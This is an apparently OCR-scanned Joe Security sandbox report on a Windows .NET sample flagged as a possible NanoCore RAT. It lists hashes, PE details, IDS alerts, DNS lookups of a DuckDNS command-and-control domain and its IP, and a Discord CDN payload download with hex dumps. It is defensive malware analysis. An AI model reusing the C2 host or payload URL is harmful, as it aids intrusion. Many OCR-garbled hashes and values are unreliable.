C:\Program Files\Windows Defender\MpCmdRun.exe

data

modified

906

3.135300474098327

false
12:58KRBubdpkoF1AG3r8wwrKk9+MIWILehB4yAq7ejClwwrH:OaqdmuF3r8h+kWReH4yJ7MEr
F70A278C781132E3BCAEB11BA07CCE65
0B3CE6BF522324ABC5F06781911ABFDD5677B92F
2DOADBF79FFE5A144E5ADE1B5481DF26A64CFE482048B46305316E142B9879AC
98A03113276DAF2EFF6F3F99C0077412BAC85705777781CD75ED6A39FAA4566A105A53D064FB36CACAEG723F5F2E896CI0F6798B6F6426DCCOA23FC42D61CFO,
false

unknown

. .M.p.C.m.d.R.u.n... .C.om.m.a.n.d. .L.i.n.e....
".C..\.P.ro.g.r.am. .Files\W.in.d.ow.s. .D.efender\mp.cm.drun.exe." -wdenable... Start T.ime.. ..Mon. .Sep..27. .20.21 .2.0.:.29.0.
Lo M.p.E.n.s.u.r.e.P.ro.c.e.s.s.M.itig.adtio.n.P.o.licy.. .hr .= .0x.1..W.D.Enab.le...ERR.O.R.: .MpW.D.Enab.le(T.R.U.LE). faile.d. .(.8.0.0.7.0.

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

PE32 executable (GUI) Intel 80386 Mono/.Net assemb
ly, for MS Windows

6.328607170068044

e Win32 Executable (generic) Net Framework
(10011505/4) 50.01%

e Win32 Executable (generic) a (10002005/4)
49.97%

e Generic Win/DOS Executable (2004/3) 0.01%

e DOS Executable Generic (2002/1) 0.01%

e Autodesk FLIC Image File (extensions: fic, fli, cel)
(7/3) 0.00%

s9SWgUgyO5.exe

31232

b462382ch954466386f9334247e0a34c
Oac9e261eafc36f2d8a7bda5755b44c9d8c883e9

6a19a144807268d406c6da55513ae24493b2d411ba8e2:
2e15567d66e55d976b

edf4ec1938ff467207c75e38b2bbea2445fec6accdcd325
101a4e4b60e17c9041b3c9795c¢f100d194549372c60b07
€143464181c63458fc8e753f384b2369f4a

768:X1S7d04IGn8pAWSsYOEIWCqgFDIZ8Lq7d:X1YbE
nDWOENCqMZF7d

Icon Hash: 00828e8e8686b000

Static PE Info

General

Entrypoint: 0x408c5e

Entrypoint Section: text

Digitally signed: true

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
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General

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Authenticode Signature

Signature Valid:

Signature Issuer:
Signature Validation Error:
Error Number:

Not Before, Not After
Subject Chain

Version:

Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:

Serial:

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size
text 0x2000 0x6c64
.rsrc 0xa000 0x6b0
.reloc 0xc000 Ooxc

Resources
Imports
Version Infos
Possible Origin

Language of compilation system

English

Network Behavior

Snort IDS Alerts

Copyright Joe Security LLC 2021

Raw Size

0x6e00

0x800

0x200

NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT,

HIGH_ENTROPY_VA

0x614C4111 [Thu Sep 23 08:55:45 2021 UTC]

v4.0.30319

o~ O B O »

f34d5f2d4577ed6d9ceec516¢c1f5a744

Xored PE ZLIB Complexity File Type
False 0.589808238636 data
False 0.3642578125 data
False 0.044921875 data

Country where language is spoken

United States

Entropy
6.47429613715

4.85217049993

0.0815394123432

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABL
E, IMAGE_SCN_MEM_READ

Map
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Timestamp Protocol SID
09/27/21- UDP 254
20:27:43.871459

09/27/21- TCP 2025019
20:27:44.161208

09/27/21- UDP 254
20:27:52.311806

09/27/21- TCP 2025019
20:27:52.965524

09/27/21- UDP 254
20:28:01.201808

09/27/21- TCP 2025019
20:28:01.689378

09/27/21- UDP 254
20:28:09.480817

09/27/21- TCP 2025019
20:28:09.716358

09/27/21- TCP 2025019
20:28:16.438183

09/27/21- TCP 2025019
20:28:24.251269

09/27/21- TCP 2025019
20:28:31.214794

09/27/21- UDP 254
20:28:37.800654

09/27/21- TCP 2025019
20:28:38.091714

09/27/21- UDP 254
20:28:44.803365

09/27/21- TCP 2025019
20:28:45.000951

09/27/21- TCP 2025019
20:28:51.904228

09/27/21- TCP 2025019
20:28:56.969219

09/27/21- UDP 254
20:29:03.518255

09/27/21- TCP 2025019
20:29:03.803544

09/27/21- TCP 2025019
20:29:09.886155

09/27/21- TCP 2025019
20:29:17.307627

09/27/21- UDP 254
20:29:22.315778

09/27/21- TCP 2025019
20:29:22.518706

09/27/21- TCP 2025019
20:29:28.676868

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Message

DNS SPOOF query response with TTL of 1 min. and no authority

ET TROJAN Possible NanoCore C2 60B

DNS SPOOF query response with TTL of 1 min. and no authority

ET TROJAN Possible NanoCore C2 60B

DNS SPOOF query response with TTL of 1 min. and no authority

ET TROJAN Possible NanoCore C2 60B

DNS SPOOF query response with TTL of 1 min. and no authority

ET TROJAN Possible NanoCore C2 60B

ET TROJAN Possible NanoCore C2 60B

ET TROJAN Possible NanoCore C2 60B

ET TROJAN Possible NanoCore C2 60B

DNS SPOOF query response with TTL of 1 min. and no authority

ET TROJAN Possible NanoCore C2 60B

DNS SPOOF query response with TTL of 1 min. and no authority

ET TROJAN Possible NanoCore C2 60B

ET TROJAN Possible NanoCore C2 60B

ET TROJAN Possible NanoCore C2 60B

DNS SPOOF query response with TTL of 1 min. and no authority

ET TROJAN Possible NanoCore C2 60B

ET TROJAN Possible NanoCore C2 60B

ET TROJAN Possible NanoCore C2 60B

DNS SPOOF query response with TTL of 1 min. and no authority

ET TROJAN Possible NanoCore C2 60B

ET TROJAN Possible NanoCore C2 60B

Timestamp
Sep 27, 2021 20:27:26.381520033 CEST

Sep 27, 2021 20:27:43.757028103 CEST

Sep 27, 2021 20:27:44.152842045 CEST

Sep 27, 2021 20:27:52.196728945 CEST

Sep 27, 2021 20:27:56.380662918 CEST
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Source IP Dest IP
192.168.2.5 8.8.8.8
192.168.2.5 8.8.8.8
192.168.2.5 8.8.8.8
192.168.2.5 8.8.8.8
192.168.2.5 8.8.8.8

Trans ID

0xclc6

0x74a8

0xcc68

0x945

0x326¢

OP Code
Standard query
0

Standard query
0

Standard query
0

Standard query
(0

Standard query
0

Source

Port

53

49741

53

49746

53

49750

53

49753

49754

49756

49758

53

49759

53

49760

49761

49762

53

49765

49768

49770

53

49777

49778

Name

cdn.discor
dapp.com

friomo.duc
kdns.org

cdn.discor
dapp.com

friomo.duc
kdns.org

cdn.discor
dapp.com

Dest

Port Source IP  Dest IP

61733 8.8.8.8

192.168.2.5

6746 192.168.2.5 194.147.140.25

52441 8.8.8.8

192.168.2.5

6746 192.168.2.5 194.147.140.25

63183 8.8.8.8

192.168.2.5

6746 192.168.2.5 194.147.140.25

56969 8.8.8.8

192.168.2.5

6746 192.168.2.5 194.147.140.25

6746 192.168.2.5 194.147.140.25

6746 192.168.2.5 194.147.140.25

6746 192.168.2.5 194.147.140.25

64345 8.8.8.8

192.168.2.5

6746 192.168.2.5 194.147.140.25

57128 8.8.8.8

192.168.2.5

6746 192.168.2.5 194.147.140.25

6746 192.168.2.5 194.147.140.25

6746 192.168.2.5 194.147.140.25

50394 8.8.8.8

192.168.2.5

6746 192.168.2.5 194.147.140.25

6746 192.168.2.5 194.147.140.25

6746 192.168.2.5 194.147.140.25

54450 8.8.8.8

192.168.2.5

6746 192.168.2.5 194.147.140.25

6746 192.168.2.5 194.147.140.25

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class
IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Sep 27, 2021 20:28:01.087872982 CEST 192.168.2.5 8.8.8.8 0x42d2 Standard query  friomo.duc A (IP address) IN (0x0001)
(0) kdns.org

Sep 27, 2021 20:28:09.364130974 CEST 192.168.2.5 8.8.8.8 Oxaldd Standard query  friomo.duc A (IP address) IN (0x0001)
(0) kdns.org

Sep 27, 2021 20:28:16.175236940 CEST 192.168.2.5 8.8.8.8 0x903e Standard query  friomo.duc A (IP address) IN (0x0001)
(0) kdns.org

Sep 27, 2021 20:28:23.958440065 CEST 192.168.2.5 8.8.8.8 0x5c¢5d Standard query  friomo.duc A (IP address) IN (0x0001)
(0) kdns.org

Sep 27, 2021 20:28:30.968918085 CEST 192.168.2.5 8.8.8.8 0x1d94 Standard query  friomo.duc A (IP address) IN (0x0001)
(0) kdns.org

Sep 27, 2021 20:28:37.686520100 CEST 192.168.2.5 8.8.8.8 0x8b0 Standard query  friomo.duc A (IP address) IN (0x0001)
(0) kdns.org

Sep 27, 2021 20:28:44.689848900 CEST 192.168.2.5 8.8.8.8 Ox5ac8 Standard query  friomo.duc A (IP address) IN (0x0001)
(0) kdns.org

Sep 27, 2021 20:28:51.690846920 CEST 192.168.2.5 8.8.8.8 0x520f Standard query  friomo.duc A (IP address) IN (0x0001)
(0) kdns.org

Sep 27, 2021 20:28:56.757100105 CEST 192.168.2.5 8.8.8.8 Ox1ic4 Standard query  friomo.duc A (IP address) IN (0x0001)
(0) kdns.org

Sep 27, 2021 20:29:03.402982950 CEST 192.168.2.5 8.8.8.8 0x96dc Standard query  friomo.duc A (IP address) IN (0x0001)
(0) kdns.org

Sep 27, 2021 20:29:09.674375057 CEST 192.168.2.5 8.8.8.8 0x3331 Standard query  friomo.duc A (IP address) IN (0x0001)
(0) kdns.org

Sep 27, 2021 20:29:17.089837074 CEST 192.168.2.5 8.8.8.8 0xfb61 Standard query  friomo.duc A (IP address) IN (0x0001)
0) kdns.org

Sep 27, 2021 20:29:22.199737072 CEST 192.168.2.5 8.8.8.8 OxafcO Standard query  friomo.duc A (IP address) IN (0x0001)
0) kdns.org

Sep 27, 2021 20:29:28.461555958 CEST 192.168.2.5 8.8.8.8 0x9337 Standard query  friomo.duc A (IP address) IN (0x0001)
0) kdns.org

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Sep 27, 2021 8.8.8.8 192.168.2.5 Oxclc6 No error (0) cdn.discor 162.159.133.233 A (IP address) IN (0x0001)

20:27:26.402285099 dapp.com

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 Oxclc6 No error (0) cdn.discor 162.159.129.233 A (IP address) IN (0x0001)

20:27:26.402285099 dapp.com

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 Oxclc6 No error (0) cdn.discor 162.159.135.233 A (IP address) IN (0x0001)

20:27:26.402285099 dapp.com

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 Oxclc6 No error (0) cdn.discor 162.159.130.233 A (IP address) IN (0x0001)

20:27:26.402285099 dapp.com

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 Oxclc6 No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)

20:27:26.402285099 dapp.com

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x74a8 No error (0) friomo.duc 194.147.140.25 A (IP address) IN (0x0001)

20:27:43.871459007 kdns.org

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0Oxcc68 No error (0) cdn.discor 162.159.133.233 A (IP address) IN (0x0001)

20:27:44.166497946 dapp.com

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0Oxcc68 No error (0) cdn.discor 162.159.129.233 A (IP address) IN (0x0001)

20:27:44.166497946 dapp.com

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0Oxcc68 No error (0) cdn.discor 162.159.135.233 A (IP address) IN (0x0001)

20:27:44.166497946 dapp.com

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 Oxcc68 No error (0) cdn.discor 162.159.130.233 A (IP address) IN (0x0001)

20:27:44.166497946 dapp.com

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0Oxcc68 No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)

20:27:44.166497946 dapp.com

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x945 No error (0) friomo.duc 194.147.140.25 A (IP address) IN (0x0001)

20:27:52.311805964 kdns.org

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x326¢ No error (0) cdn.discor 162.159.130.233 A (IP address) IN (0x0001)

20:27:56.399869919 dapp.com

CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x326¢ No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)

20:27:56.399869919 dapp.com

CEST
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Timestamp Source IP Dest IP

Sep 27, 2021 8.8.8.8 192.168.2.5 0x326¢

20:27:56.399869919
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x326¢

20:27:56.399869919
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x326¢

20:27:56.399869919
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x42d2

20:28:01.201807976
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 Oxaldd

20:28:09.480817080
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x903e

20:28:16.188071012
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x5c5d

20:28:23.972385883
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x1d94

20:28:30.982316017
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x8b0

20:28:37.800653934
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 Ox5ac8

20:28:44.803364992
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x520f

20:28:51.703828096
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 Ox1lc4

20:28:56.771413088
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x96dc

20:29:03.518254995
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x3331

20:29:09.688108921
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 Oxfb61

20:29:17.102885008
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 OxafcO

20:29:22.315778017
CEST

Sep 27, 2021 8.8.8.8 192.168.2.5 0x9337

20:29:28.475239992
CEST

HTTP Request Dependency Graph

e cdn.discordapp.com

HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.5
kBytes

Timestamp transferred

2021-09-27 18:27:26 UTC 0

Copyright Joe Security LLC 2021

Source Port
49736

Direction

ouT

Trans ID Reply Code

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Destination IP Destination Port Process

162.159.133.233 443

Data

Name

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

friomo.duc
kdns.org

friomo.duc
kdns.org

friomo.duc
kdns.org

friomo.duc
kdns.org

friomo.duc
kdns.org

friomo.duc
kdns.org

friomo.duc
kdns.org

friomo.duc
kdns.org

friomo.duc
kdns.org

friomo.duc
kdns.org

friomo.duc
kdns.org

friomo.duc
kdns.org

friomo.duc
kdns.org

friomo.duc
kdns.org

CName

Address
162.159.135.233

162.159.133.233

162.159.129.233

194.147.140.25

194.147.140.25

194.147.140.25

194.147.140.25

194.147.140.25

194.147.140.25

194.147.140.25

194.147.140.25

194.147.140.25

194.147.140.25

194.147.140.25

194.147.140.25

194.147.140.25

194.147.140.25

C:\Users\user\Desktop\s9SWgUgyO5.exe

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

GET /attachments/886962207051640872/890689205934620692/4102A6C4.jpg HTTP/1.1

Host: cdn.discordapp.com
Connection: Keep-Alive

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)
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kBytes

Timestamp transferred

2021-09-27 18:27:26 UTC 0

2021-09-27 18:27:26 UTC 1

2021-09-27 18:27:26 UTC 1

2021-09-27 18:27:26 UTC 2

2021-09-27 18:27:26 UTC 4

2021-09-27 18:27:26 UTC 5

2021-09-27 18:27:26 UTC 6
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Direction

IN

Data

HTTP/1.1 200 OK

Date: Mon, 27 Sep 2021 18:27:26 GMT

Content-Type: image/jpeg

Content-Length: 1729443

Connection: close

CF-Ray: 6956c93d6876e8fb-MXP

Accept-Ranges: bytes

Cache-Control: public, max-age=31536000

ETag: "2ac5f86f290ec12916b30b63f8da6e5d"

Expires: Tue, 27 Sep 2022 18:27:26 GMT

Last-Modified: Thu, 23 Sep 2021 20:00:54 GMT

Vary: Accept-Encoding

CF-Cache-Status: MISS

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1632427254972338

X-goog-hash: crc32c=rCGZkw==

X-goog-hash: md5=KsX4bykOwSkWswtj+NpuXQ==

X-goog-metageneration: 1

X-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

X-goog-stored-content-length: 1729443

X-GUploader-UploadID: ADPycdsfSu6fJtDW9HkahbvMR-roS5LUPKIi7V3J3d7FUAokax5jZBtayADIbxIAINHXVISODwjSXTS
zUsmwOnTRs4zDOFAag8w

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/v3?s=4tb YyDxYv%2B9YNQYFhn5mSL7X1f975e
VUHCcPTctC2b6h37BrinyJHNUZKJIEIQKOIltx7VrcuHSQAXxbniDRfk%2FTHhfg 7b8vkmL4hQINYDjOYA%2BsoVZMOgh
spd30pUHRuUD%2BIMtCtw%3D%3D"}],"group":"cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d Oa 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 37 37 20 39 30 20 31 34 34 20 30 20 33 20 30 20 30 20 30 20 34 20 30 20 30 20 30 20 32 35 35 20 32 35 35

20 3020 30 20 31 38 34 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 36 34 20 30 20 30 20 30 20 30 20 30 20 30 20 30
20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20
30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 31 32 38 20 30 20 30 20 30 20 31 34 20 33 31 20 31 38 36 20 31
3420 30 20 31 38 30 20 39 20 32 30 35 20 33 33 20 31 38 34 20 31 20 37 36 20 32 30 35 20 33 33 20 38 34 20 31 30 34
203130352031313520333220313132203131342031313120313033203131342039372031303920
3332 203939203937 2031313020313130203131312031313620

Data Ascii: 7790144030004 0002552550018400000006400000000000000000000000000

00000000012800014 311861401809 20533184176 2053384104 10511532 112114111 103 114 97 109
329997 110110 111 116

Data Raw: 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30
20 3020 30 20 32 35 20 34 30 20 32 32 39 20 31 30 39 20 31 31 35 20 35 30 20 34 38 20 35 30 20 35 30 20 38 34 20 31
313420 31 31 37 20 31 34 36 20 31 34 33 20 35 30 20 34 38 20 31 33 38 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20
31 30392031 31 32 20 35 30 20 31 31 32 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32
20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35
30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20
3131342031 313720313039 203131 322035302031 37 36 20 35 30

Data Asci: 000000000000000000 00 2540 229 109 115 50 48 50 50 84 114 117 146 143 50 48 138 54 84 114
117 109 112 50 112 50 54 84 114 117 109 112 50 48 50 54 84 114 117 109 112 50 48 50 54 84 114 117 109 112 50 48 50
5484114 117 109 112 50 176 50

Data Raw: 20 32 34 38 20 35 31 20 35 34 20 38 34 20 31 31 32 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38
20 3530 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 31 38 20 35 34 20 38
34 20 31 38 20 39 31 20 33 31 20 32 31 20 39 34 20 39 35 20 38 31 20 35 34 20 38 34 20 31 32 36 20 31 31 37 20 31 30
39 20 31 31 32 20 35 30 20 34 38 20 34 38 20 35 34 20 38 34 20 31 31 32 20 31 31 37 20 31 30 39 20 31 31 32 20 32 34
38 20 34 39 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20
3534 20 38 34 20 31 31 34 20 35 33 20 31 30 39 20 31 31 32 20 31 31 32 20 33 30 20 36 34 20 36 39 20 33 38 20 31 37
20313137 203130392031 31322031 313420383120 3531203534

Data Ascii: 248 51 54 84 112 117 109 112 50 48 50 54 84 114 117 109 112 50 48 18 54 84 18 91 31 21 94 95 81 54 84
126 117 109 112 50 48 48 54 84 112 117 109 112 248 49 50 54 84 114 117 109 112 50 48 50 54 84 114 53 109 112 112
3064693817117 109 112 114 81 51 54

Data Raw: 20 31 32 30 20 39 35 20 31 30 39 20 39 39 20 32 20 34 39 20 35 30 20 36 31 20 38 34 20 31 31 34 20 31 31
37 2031 31 30 20 31 31 32 20 35 30 20 33 33 20 37 36 20 35 32 20 38 34 20 31 31 34 20 31 31 33 20 32 20 37 37 20 35
30 20 34 38 20 35 36 20 32 38 20 38 34 20 39 37 20 36 39 20 31 30 38 20 31 31 32 20 35 37 20 34 38 20 35 30 20 35 34
20 38 30 20 31 31 34 20 31 31 37 20 31 32 34 20 31 34 20 34 39 20 34 38 20 35 30 20 35 30 20 35 39 20 37 36 20 31 31
37 20 31 30 39 20 31 32 32 20 32 34 20 34 38 20 33 33 20 36 20 38 35 20 31 31 34 20 31 32 36 20 31 30 39 20 31 31 32
20 35 30 20 35 33 20 35 30 20 35 34 20 36 39 20 31 32 20 31 31 33 20 31 30 39 20 31 31 32 20 35 34 20 39 3520 31 33
20 35 34 20 38 34 20 31 32 30 20 39 35 20 31 30 39 20 39 39 20 32 20 34 39

Data Ascii: 120 95 109 99 2 49 50 61 84 114 117 110 112 50 33 76 52 84 114 113 2 77 50 48 56 28 84 97 69 108 112 57
48 50 54 80 114 117 124 14 49 48 50 50 59 76 117 109 122 24 48 33 6 85 114 126 109 112 50 53 50 54 69 12 113 109
112 54 95 13 54 84 120 95 109 99 2 49

Data Raw: 31 20 31 35 35 20 35 30 20 35 34 20 38 35 20 39 30 20 36 31 20 31 30 39 20 31 31 32 20 35 36 20 36 37 20
31 3233 20 35 34 20 38 34 20 31 32 30 20 31 35 20 33 30 20 35 38 20 35 30 20 34 38 20 35 36 20 33 35 20 31 32 31 20
31 31 33 20 38 33 20 37 30 20 31 31 39 20 31 37 38 20 35 36 20 35 30 20 35 34 20 38 30 20 38 39 20 31 31 37 20 31 39
20 31 32 30 20 35 30 20 34 38 20 35 34 20 32 33 30 20 39 32 20 31 31 34 20 31 31 37 20 31 31 38 20 38 38 20 31 31 36
20 34 38 20 35 30 20 36 30 20 36 34 20 32 39 20 36 32 20 31 30 39 20 31 31 32 20 35 36 20 32 34 20 35 34 20 35 34 20
38 34 20 38 39 20 31 31 30 20 36 34 20 31 31 38 20 32 30 20 32 33 37 20 37 38 20 35 34 20 38 34 20 31 31 34 20 31 32
37 20 37 30 20 31 33 36 20 37 31 20 31 38 30 20 35 30 20 35 34 20 38 35 20

Data Ascii: 1 155 50 54 85 90 61 109 112 56 67 123 54 84 120 15 30 58 50 48 56 35 121 113 83 70 119 178 56 50 54 80
89 117 19 120 50 48 54 230 92 114 117 118 88 116 48 50 60 64 29 62 109 112 56 24 54 54 84 89 110 64 118 20 237 78
54 84 114 127 70 136 71 180 50 54 85
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kBytes
Timestamp transferred

2021-09-27 18:27:26 UTC 8

2021-09-27 18:27:26 UTC 9

2021-09-27 18:27:26 UTC 10

2021-09-27 18:27:26 UTC 12

2021-09-27 18:27:26 UTC 13

2021-09-27 18:27:26 UTC 14

2021-09-27 18:27:26 UTC 16

2021-09-27 18:27:26 UTC 17

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 34 20 39 34 20 31 35 34 20 31 31 32 20 34 39 20 30 20 35 36 20 35 34 20 39 31 20 31 31 34 20 31 31 37 20
313039 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 32 20 37 38 20 31 30 31 20 38 38 20 31 30 36 20 38 36 20 32 36
20 31 31 33 20 35 30 20 35 34 20 39 34 20 38 38 20 38 33 20 37 30 20 31 33 35 20 35 30 20 33 35 20 32 20 35 30 20 38
342031313120313137203130392031 3132203537 20 34 38 20 35 30 20 33 39 20 38 36 20 31 30 33 20 39 38
20 36 34 20 39 38 20 32 30 20 35 31 20 33 39 20 34 33 20 31 32 31 20 31 32 35 20 38 33 20 36 39 20 33 34 20 35 30 20
34 38 20 35 36 20 33 30 20 37 20 31 31 34 20 31 31 37 20 31 30 33 20 39 30 20 32 30 20 32 37 20 32 32 32 20 31 36 20
313237 203135372031 313720313039 2031313220 3333203020

Data Ascii: 4 94 154 112 49 0 56 54 91 114 117 109 112 50 48 50 52 78 101 88 106 86 26 113 50 54 94 88 83 70 135 50
3525084 111117 109 112 57 48 50 39 86 103 98 64 98 20 51 39 43 121 125 83 69 34 50 48 56 30 7 114 117 103 90 20
2722216127 157 117 109 112330

Data Raw: 20 35 34 20 38 32 20 31 31 32 20 39 39 20 32 34 37 20 34 20 35 36 20 34 38 20 35 30 20 34 35 20 37 34 20
39 3520 31 32 37 20 37 35 20 31 34 20 35 20 34 38 20 35 30 20 35 30 20 31 32 30 20 39 36 20 39 34 20 31 31 30 20 31
323220 32 3520 31 39 36 20 37 36 20 30 20 38 34 20 31 31 34 20 31 31 33 20 31 30 37 20 38 38 20 31 30 34 20 34 39
2035302034 382031323120 3131382039 38 203130322039 312034 38 2033 382035372034 39203132
3420313039203131372031303920313138203234 203335203220 35332038342036312031313720
31303920 3131322033 342034 3820353020 33 39 20 38 36 20 31 30 30 20 32 33 39 20 32 30 20 36 36 20 35 30
2034 382035312037 3120313032203131342031313720313038

Data Ascii: 54 82 112 99 247 4 56 48 50 45 74 95 127 75 14 5 48 50 50 120 96 94 110 122 25 196 76 0 84 114 113 107
88 104 49 50 48 121 118 98 102 91 48 38 57 49 124 109 117 109 118 24 35 2 53 84 61 117 109 112 34 48 50 39 86 100
2392066 50 48 51 71 102 114 117 108

Data Raw: 31 32 20 35 36 20 33 35 20 35 37 20 31 34 20 31 39 38 20 31 31 34 20 31 31 37 20 31 30 39 20 39 38 20 35
372032 34 20 31 30 39 20 35 34 20 38 34 20 31 32 30 20 31 30 32 20 31 30 36 20 31 31 38 20 33 35 20 35 35 20 37 33
2033 39 20 38 34 20 31 31 34 20 31 31 33 20 32 20 31 36 20 35 30 20 34 38 20 35 36 20 32 36 20 38 31 20 37 34 20 30
203130392031 313220353020 3339203137 3820 36 33 20 38 34 20 31 31 34 20 31 31 33 20 37 37 20 32 30 38
203235203232342034342033302031373120313134203131372031303720393720353320373520
333520 3534 2038 34 20 31 31 38 20 32 34 39 20 33 37 20 31 31 32 20 35 30 20 34 39 20 32 36 20 31 30 36 20 38 34
2031 313420313237 2036 3920 31 39 37 20 35 30 20 34 38 20 35 32 20

Data Ascii: 12 56 35 57 14 198 114 117 109 98 57 24 109 54 84 120 102 106 118 35 55 73 39 84 114 113 2 16 50 48 56
2681740109 1125039178 63 84 114 113 77 208 25 224 44 30 171 114 117 107 97 53 75 35 54 84 118 249 37 112 50
49 26 106 84 114 127 69 197 50 48 52

Data Raw: 31 30 37 20 31 32 34 20 35 38 20 35 30 20 35 33 20 31 37 32 20 34 35 20 35 38 20 31 31 37 20 31 30 39 20
31313320 36 37 20 31 32 30 20 35 30 20 35 34 20 38 35 20 31 35 20 31 30 30 20 31 30 39 20 31 31 32 20 35 34 20 35
36 20 34 38 20 34 39 20 36 37 20 34 32 20 32 33 39 20 32 30 20 36 36 20 35 30 20 34 38 20 35 31 20 37 31 20 31 30 32
203131342031 3137203130382031332036 312034 3820353020 35302039 32203131322031313420
313137 20343020 31 36 38 20 36 38 20 31 35 33 20 35 34 20 38 34 20 31 31 35 20 38 20 31 32 3520 31 31 32 20 35
